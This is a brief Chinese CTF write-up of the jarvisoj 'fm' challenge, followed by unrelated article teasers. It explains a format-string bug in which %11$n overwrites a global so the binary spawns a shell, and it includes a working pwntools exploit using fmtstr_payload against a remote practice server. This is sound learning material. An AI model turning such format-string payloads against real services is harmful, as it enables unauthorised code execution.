jarvisoj_fm

news2024/9/21 5:48:35

小白做题垃圾笔记,不建议阅读。

1.32位操作系统,有canary,和NX ,本来以为是绕过canary呢。

 

2.第12行,如果x==4就执行/bin/sh

,第10行存在格式化字符串漏洞。

是格式化字符串漏洞,对任意地址内容更改。

3.确定偏移:

pwngdb

复制aaaa所在地址。

 fmtarg  aaaa的地址

偏移为%11$p

 

4.核心payload

如果用原始方法,就是发送p32(0x0804A02C)+p32(b'%11$p')

发送这段什么意思呢?

就是前边是一个地址,它是变量x的地址,后边是%11$n

%$n的作用就是将前边的字节长度赋值给后边的地址

回头看发送的数据,地址对应偏移是11$也就是说是第十一个,那么,%11$n就会将输入的地址里的内容改为前边的长度。输入的地址是x的地址,而前边的长度是p32      4个字节。也就是4

pwntools有个函数是

fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')

其中,第一个参数是偏移,也就是输入的内容得偏移,第二个是改写的内存以及内容。

格式是这样的{addr:value,addr2:value2……},addr是要改写的而地址,value是值。有的时候会写{:printf_got}

numbwritten是已经由printf写入的字节数,(可选)

write_size:必须是byte、short、int   用于指定逐byte还是逐short或者逐int写(hhn、hn、n)。(可选)

它可以用来生成一段payload。

还有一个函数是FmtStr但是我还没有深入研究。

5.

exp如下:

from pwn import *

debug=0
if debug:
    p=process('./fm')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',29181)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

x_add=0x0804A02C


offset=11

payload=fmtstr_payload(11,{x_add:4},write_size='int')

se(payload)

p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))

#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/547956.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实操Linux 部署单机版nacos

目录 Nacos部署环境要求JDK安装下载和构建Nocas控制面板&#xff0c;新建配置Nacos数据库配置 总结 Nacos部署环境要求 64bit OS: Linux/Unix/Mac/Windows 支持, Linux/Unix/Mac 推荐 64bit JDK 1.8 Maven 3.2.x JDK安装 1、准备好jdk1.8 链接&#xff1a;https://pan.baidu.…

【SpringCloud组件——Eureka】

前置准备&#xff1a; 分别提供订单系统&#xff08;OrderService&#xff09;和用户系统&#xff08;UserService&#xff09;。订单系统主要负责订单相关信息的处理&#xff0c;用户系统主要负责用户相关信息的处理。 一、微服务当中的提供者和消费者 1.1、概念 服务提供…

第二章 逻辑分类模型

目录 一、逻辑回归基本模型二、处理多维特征输入三、加载数据集四、多分类问题 一、逻辑回归基本模型 基本模型&#xff1a; y ^ σ ( x ∗ ω b ) \hat{y} \sigma (x * \omega b) y^​σ(x∗ωb)&#xff0c;其中 σ ( ) \sigma() σ() 表示 sigmod 函数 σ ( x ) 1 1…

LMS,RGB,XYZ色彩空间转换

前言 首先需要指明本文中描述的R,G,B并非通常的sRGB中的三个分量R,G,B&#xff0c;而是波长分别为700nm&#xff0c;546.1nm&#xff0c;435.8nm的单色红光&#xff0c;单色绿光&#xff0c;单色蓝光。sRGB中的RGB中的红色、绿色、蓝色已经不是单色光了。虽然习惯上大家都叫RGB…

文法的FIRST集

求文法的FIRST集和FOLLOW集的步骤如下&#xff1a; 求FIRST集 如果符号是终结符&#xff0c;则FIRST集合为该终结符本身。如果符号是非终结符&#xff0c;则将该非终结符可以推导出的所有串的FIRST集合合并&#xff0c;得到该非终结符的FIRST集合。如果一个非终结符可以推导出…

Linux篇5

Shell常用命令 1. 磁盘管理类1.1 du&#xff1a;查看文件和目录占用的磁盘空间1.2 df&#xff1a;查看磁盘空间使用情况1.3 free&#xff1a;查看内存使用情况1.4 lsblk&#xff1a;查看设备挂载情况1.5 mount/umount&#xff1a;挂载/卸载1.6 fdisk&#xff1a;分区 2. 进程管…

双模齐下,提质增效:CODING 携手知微共创 BizDevOps 体系新篇章

为了提升工作和管理效率&#xff0c;工具建设是许多企业不得不面对的现实&#xff0c;然而在工具建设落地过程中&#xff0c;往往存在一系列的问题。如不同组织、部门之间互不相通&#xff0c;各自为政&#xff0c;工具流程与实际工作所需不符&#xff0c;导致工具建设的结果是…

(1分钟速览)g2o入门指南--笔记版

在slam后端中&#xff0c;优化的框架很多&#xff0c;有ceres&#xff0c;g2o&#xff0c;gtsam这些。要想真正掌握slam后端的优化内容&#xff0c;这些框架是必不可少的上手练习的内容。本文则介绍有关g2o的相关内容&#xff0c;作为一个入门指南&#xff0c;目标&#xff1a;…

使用教程 | 基于TSMaster如何实现LIN RBS 剩余总线仿真

本文导读 RBS 全称是&#xff1a;residual bus simulation&#xff0c;也就是所谓的剩余总线仿真。主要是基于车载网络数据库&#xff0c;如 CAN/LIN/FlexRay/以太网数据库&#xff0c;仿真该网络内部各个节点的通讯行为。 本文主要讲解 TSMaster 中 LIN RBS 的操作流程。 “ …

aosp11/12/13 壁纸高斯模糊,毛玻璃SurfaceFlinger层面原理-第二节千里马framework实战

hi&#xff0c;粉丝朋友们&#xff01; 上一个blog已经详细讲解了系统中自带相关接口实现窗口的高斯模糊相关效果&#xff0c;具体点击这里 https://blog.csdn.net/learnframework/article/details/130767893 1、补充app层面实现方式 更多framework干货知识手把手教学 Log.i…

Restful API

Restful API 一、RESTful API是什么意思二、对比三、小知识四、用 apifox 进行测试1. GET2. POST3. PUT4. DELETE 一、RESTful API是什么意思 REST 与技术无关&#xff0c;代表的是一种软件架构风格&#xff0c;REST是Representational State Transfer的简称&#xff0c;中文翻…

操作系统实验三 内存分配及回收研究

前言 本次实验跟前两次相比简单许多&#xff0c;主要是体会底层的一些运行机制。其实&#xff0c;要说简单&#xff0c;也不是真的很简单&#xff0c;毕竟还是存在一些更底层的东西需要我们去探讨。接下来就让我们通过实验来感受一下。 1.实验目的 掌握Linux操作系统的内存分…

地表水灌区取水计量设施包含哪些设备?

方案背景 根据《关于强化取水口取水监测计量的意见》、《十四五”节水型社会建设规划》以及《2022年水资源管理工作要点》等政策要求&#xff0c;为强化水资源管理&#xff0c;做好水资源税改革&#xff0c;构建节水型社会&#xff0c;要全面加强取水计量监测设施建设&#xff…

【计算机系统基础3】数据的存储与运算

3.程序调试与实践&#xff1a;数据存储与运算 3.1真值与机器数 真值&#xff1a; 数据在现实世界中的表示 机器数&#xff1a; 数据在计算机内部的二进制编码表示 温度&#xff1a;零下3.5度 习惯写法&#xff1a;-3.5 (数据的真值/数据的实际值) 3.1.1整数的编码 带符号整数&…

15:13进去面试,5分钟就完事了,问的实在是太......

干了两年外包&#xff0c;本来想出来正儿八经找个互联网公司上班&#xff0c;没想到算法死在另一家厂子。 自从加入这家外包公司&#xff0c;每天都在加班&#xff0c;钱倒是给的不少&#xff0c;所以也就忍了。没想到11月一纸通知&#xff0c;所有人不许加班&#xff0c;薪资…

2023年值得关注的低代码平台推荐

低代码平台在数字化转型的浪潮中受到越来越多企业的青睐&#xff0c;因为它们提供了一种更容易、更快的方式来开发网络和移动应用程序。低代码平台只需要最少的编码知识&#xff0c;使公司能够在很短的时间内开发出定制的应用程序&#xff0c;而这只是使用传统的搭建手段所需时…

参数传递之传名,传地址,得结果,传值

编译原理速成&#xff0c;参数传递之传名&#xff0c;传地址&#xff0c;得结果&#xff0c;传值(四)_哔哩哔哩_bilibili 学习自上面的文章。 题目1&#xff1a; &#xff08;1&#xff09;传名。 (2)传地址。&#xff08;注意观察&#xff0c;AB变成了临时变量T1&#xff0c;…

jvm之G1 GC

写在前面 jdk9以及之后的版本已经将默认的垃圾收集器parallel更换为G1.本文就一起来看下。 1&#xff1a;G1介绍 parallel GC的设计目标是高吞吐量&#xff0c;CMS GC的设计目标是低延迟&#xff0c;而G1的设计目标不是这二者中的任何一个&#xff0c;其设计目标是让GC的STW…

我的世界Fabric mod开发-快速漏斗

前往我的主页以阅读完整内容&#xff0c;并获取源码 DearXuan的主页 MOD介绍 使用漏斗链进行分类或传递物品时,常常会发现漏斗速度太慢,难以收集全部掉落物.或者漏斗太多,影响性能.而现有的漏斗加速mod则是引入新的快速漏斗,存在各种兼容问题.开服时发现paper服务器可以修改原…

华为OD机试真题 Java 实现【区间连接器】【2023Q1 200分】

一、题目描述 有一组区间 [a0, b0], [a1, b1], … (a, b 表示起点, 终点)&#xff0c;区间有可能重叠、相邻&#xff0c;重叠或相邻则可以合并为更大的区间&#xff1b; 给定一组连接器[x1, x2, x3, …]&#xff08;x 表示连接器的最大可连接长度&#xff0c;即 x>gap&…